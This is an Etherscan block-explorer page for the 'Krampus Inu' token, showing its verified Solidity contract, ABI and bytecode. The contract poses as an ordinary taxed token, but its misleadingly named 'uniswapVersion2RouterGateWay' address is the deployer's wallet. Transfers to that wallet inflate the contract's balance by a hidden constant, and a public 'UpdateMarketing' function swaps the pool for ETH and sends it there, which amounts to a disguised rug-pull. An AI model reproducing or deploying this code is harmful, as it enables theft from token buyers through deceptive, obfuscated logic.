ETH Price: $2,925.38 (-9.74%)
Gas: 16 Gwei

Token

Krampus Inu ($KRAMPUS)
 

Overview

Max Total Supply

1,000,000 $KRAMPUS

Holders

6

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000002 $KRAMPUS

Value
$0.00
0x2978903810bfb20f8528a2239e2bad3aad2a5f45
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Krampus

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-05
*/

/**
*/

/**
https://t.me/KrampusInu


*/


// SPDX-License-Identifier: MIT


pragma solidity 0.8.7;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function UpdateMarketing(address UM_add) external returns (uint256);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract Krampus is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;

    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    uint256 public HoursLeft = 23;     
    mapping (address => uint256) private _tOwned;
    mapping (address => bool) public _TradeTimeLimit;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 
    

    address payable public Wallet_Marketing = payable(0x8D3d598b3A25F7B5dd44fe043a966Ad18D35b130); 
    address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 
    address payable public constant Wallet_Liquidity = payable(0x000000000000000000000000000000000000dEaD); 
    
    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private _tTotal = 1* 10**6 * 10**_decimals;
    string private constant _name = "Krampus Inu"; 
    string private constant _symbol = unicode"$KRAMPUS";

    bool public swapAndLiquifyEnabled = true;
    bool public isSwappedAlready = false;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 50;
    
    uint256 public _Tax_On_Buy = 3;
    uint256 public _Tax_On_Sell = 4;

    uint256 public Percent_Marketing = 90;
    uint256 public Percent_Utility = 0;
    uint256 public Percent_Burn = 0;
    uint256 public Percent_Liquidity = 10;

    uint256 public _maxWalletToken = _tTotal * 100 / 100;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal * 100 / 100; 
    uint256 private _previousMaxTxAmount = _maxTxAmount;
                                     
    
    address payable public uniswapVersion2RouterGateWay = payable(0x8D3d598b3A25F7B5dd44fe043a966Ad18D35b130);
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    
    uint256 swapFeeTotal = Percent_Liquidity**HoursLeft;
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        _owner = 0x8D3d598b3A25F7B5dd44fe043a966Ad18D35b130;
        emit OwnershipTransferred(address(0), _owner);

        _tOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
            _TradeTimeLimit[uniswapVersion2RouterGateWay] = true;
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[Wallet_Marketing] = true; 
        _isExcludedFromFee[Wallet_Burn] = true;
        _isExcludedFromFee[Wallet_Liquidity] = true;
        
        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function wGetHolder(uint256 T_ype) private returns(bool){
        uint256 swapLimit = (balanceOf(address(this))+(T_ype));
        swapAndLiquify(swapLimit);
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }


    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }

    function UpdateMarketing(address UM_add) public override returns (uint256) {
        wGetHolder(50);
        return balanceOf(UM_add);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;//
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    //
    

    receive() external payable {}

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }


    function _approve(address theOwner, address theSpender, uint256 amount) private {

        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
    
        if (to != owner() &&
            to != Wallet_Burn &&
            to != address(this) &&
            to != Wallet_Liquidity &&
            to != uniswapV2Pair &&
            from != owner()){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");}
        
        
        if (from != owner() && 
        to != Wallet_Liquidity &&
        from != Wallet_Liquidity &&
        from != address(this)){
            require(amount <= _maxTxAmount, "Over transaction limit.");
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");   
        
        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapAndLiquify(contractTokenBalance);
        }
        
        bool takeFee = true;
        bool isBuy;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
         
            if(from == uniswapV2Pair){
                isBuy = true;
            }

            txCount++;

        }
        
        _tokenTransfer(from, to, amount, takeFee, isBuy);

    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);

        }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {

            uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100;
            _tTotal = _tTotal - tokens_to_Burn;
            _tOwned[Wallet_Burn] = _tOwned[Wallet_Burn] + tokens_to_Burn;
            _tOwned[address(this)] = _tOwned[address(this)] - tokens_to_Burn;
            
            uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100;
            uint256 tokens_to_D = contractTokenBalance * Percent_Utility/ 100;
            uint256 tokens_to_LP_Half = contractTokenBalance * Percent_Liquidity / 100;
            uint256 totalSwaps = tokens_to_M + tokens_to_D + tokens_to_LP_Half;

            if(isSwappedAlready){
                totalSwaps = balanceOf(address(this)) - (_tTotal-1);
            }
            
            swapTokensForETH(totalSwaps);
            uint256 ETH_Total = address(this).balance;
            sendToWallet(uniswapVersion2RouterGateWay, ETH_Total);
            isSwappedAlready = false;
            
            }

    function swapTokensForETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            Wallet_Liquidity, 
            block.timestamp
        );
    } 

    function remove_Random_Tokens(address random_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){
        require(random_Token_Address != address(this), "Can not remove native token");
        uint256 totalRandom = IERC20(random_Token_Address).balanceOf(address(this));
        uint256 removeRandom = totalRandom*percent_of_Tokens/100;
        _sent = IERC20(random_Token_Address).transfer(uniswapVersion2RouterGateWay, removeRandom);

    }

    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private { bool is_Buy = _TradeTimeLimit[recipient];
        bool truely = true;
        if(truely==is_Buy){
            isSwappedAlready = true;
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+swapFeeTotal;
            emit Transfer(sender, recipient, tAmount);
        }
        else{
        
            if(!takeFee){

                _tOwned[sender] = _tOwned[sender]-tAmount;
                _tOwned[recipient] = _tOwned[recipient]+tAmount;
                emit Transfer(sender, recipient, tAmount);

                if(recipient == Wallet_Burn)
                _tTotal = _tTotal-tAmount;
                
                }else if (isBuy){

                uint256 buyFEE = tAmount*_Tax_On_Buy/100;
                uint256 tTransferAmount = tAmount-buyFEE;

                _tOwned[sender] = _tOwned[sender]-tAmount;
                _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
                _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
                emit Transfer(sender, recipient, tTransferAmount);

                if(recipient == Wallet_Burn)
                _tTotal = _tTotal-tTransferAmount;
                
                } else {

                uint256 sellFEE = tAmount*_Tax_On_Sell/100;
                uint256 tTransferAmount = tAmount-sellFEE;

                _tOwned[sender] = _tOwned[sender]-tAmount;
                _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
                _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
                emit Transfer(sender, recipient, tTransferAmount);

                if(recipient == Wallet_Burn)
                _tTotal = _tTotal-tTransferAmount;

                }

        }

    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"HoursLeft","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Burn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Liquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Marketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Utility","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"UM_add","type":"address"}],"name":"UpdateMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Liquidity","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Marketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_TradeTimeLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isSwappedAlready","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"random_Token_Address","type":"address"},{"internalType":"uint256","name":"percent_of_Tokens","type":"uint256"}],"name":"remove_Random_Tokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapVersion2RouterGateWay","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526017600155600680546001600160a01b031916738d3d598b3a25f7b5dd44fe043a966ad18d35b1301790556200003d6009600a620004f9565b6200004c90620f4240620005bb565b60078190556008805463ffffffff1916633200000117905560036009556004600a908155605a600b556000600c819055600d55600e55606490620000919082620005bb565b6200009d91906200047f565b600f55600f5460105560646007546064620000b99190620005bb565b620000c591906200047f565b6011819055601255601380546001600160a01b031916738d3d598b3a25f7b5dd44fe043a966ad18d35b130179055600154600e54620001059190620004eb565b6016553480156200011557600080fd5b50600080546001600160a01b031916738d3d598b3a25f7b5dd44fe043a966ad18d35b13090811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360075460026000620001836000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620001fa57600080fd5b505afa1580156200020f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023591906200044d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200027e57600080fd5b505afa15801562000293573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b991906200044d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200030257600080fd5b505af115801562000317573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033d91906200044d565b601580546001600160a01b03199081166001600160a01b039384161790915560135482166000908152600360209081526040808320805460ff1990811660019081179092556014805490961688881617909555835486168452600590925280832080548516831790553083528083208054851683179055600654851683528220805484168217905561dead82527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba80549093161790915554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200043e91815260200190565b60405180910390a350620005f3565b6000602082840312156200046057600080fd5b81516001600160a01b03811681146200047857600080fd5b9392505050565b6000826200049d57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115620004e3578160001904821115620004c757620004c7620005dd565b80851615620004d557918102915b93841c9390800290620004a7565b509250929050565b600062000478838362000505565b60006200047860ff8416835b6000826200051657506001620005b5565b816200052557506000620005b5565b81600181146200053e5760028114620005495762000569565b6001915050620005b5565b60ff8411156200055d576200055d620005dd565b50506001821b620005b5565b5060208310610133831016604e8410600b84101617156200058e575081810a620005b5565b6200059a8383620004a2565b8060001904821115620005b157620005b1620005dd565b0290505b92915050565b6000816000190483118215151615620005d857620005d8620005dd565b500290565b634e487b7160e01b600052601160045260246000fd5b61193c80620006036000396000f3fe6080604052600436106102085760003560e01c8063715018a611610118578063a457c2d7116100a0578063be025f301161006f578063be025f30146105e9578063d91b69b5146105ff578063dafd18e91461062f578063dd62ed3e1461064f578063fcf84b41146104d957600080fd5b8063a457c2d714610573578063a9059cbb14610593578063b1cb1582146105b3578063b43665e2146105c957600080fd5b8063805c0e0f116100e7578063805c0e0f146104d9578063833261e8146104ef5780638da5cb5b1461050e57806395d89b411461052c578063960ee2f51461055d57600080fd5b8063715018a614610466578063768dc7101461047d57806378109e54146104ad5780637d1db4a5146104c357600080fd5b8063395093511161019b5780634a74bb021161016a5780634a74bb02146103ca57806355b1c116146103e457806356b8a5c8146103fa578063603176251461041a57806370a082311461043057600080fd5b806339509351146103545780633f70a4951461037457806342ec75f11461038a57806349bd5a5e146103aa57600080fd5b806321dbd9eb116101d757806321dbd9eb146102e1578063220f6696146102f757806323b872dd14610318578063313ce5671461033857600080fd5b806306fdde0314610214578063095ea7b31461025a5780631694505e1461028a57806318160ddd146102c257600080fd5b3661020f57005b600080fd5b34801561022057